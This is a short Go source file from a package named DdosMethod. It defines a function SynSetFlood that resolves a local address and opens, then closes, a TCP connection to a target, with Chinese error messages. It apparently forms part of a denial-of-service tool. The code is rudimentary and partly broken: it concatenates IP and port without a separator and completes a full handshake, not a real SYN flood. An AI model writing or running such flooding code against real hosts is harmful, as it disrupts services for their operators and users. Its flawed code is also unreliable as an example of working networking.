package DdosMethod

import (
	"fmt"
	"net"
)

func SynSetFlood(ip string, port string, raddr *net.TCPAddr) error {
	laddr, err := net.ResolveTCPAddr("tcp4", ip+port)
	if err != nil {
		fmt.Println("创建本地tcp结构体失败!", ip+port)
		return err
	}
	dialer, err := net.DialTCP("tcp", laddr, raddr)
	if err != nil {
		fmt.Println("tcp拨号失败!", ip+port)
		return err
	}
	//net.Dialer{Timeout:10*time.Second }
	//dialer.SetKeepAlivePeriod(10)
	defer dialer.Close()
	return nil
}
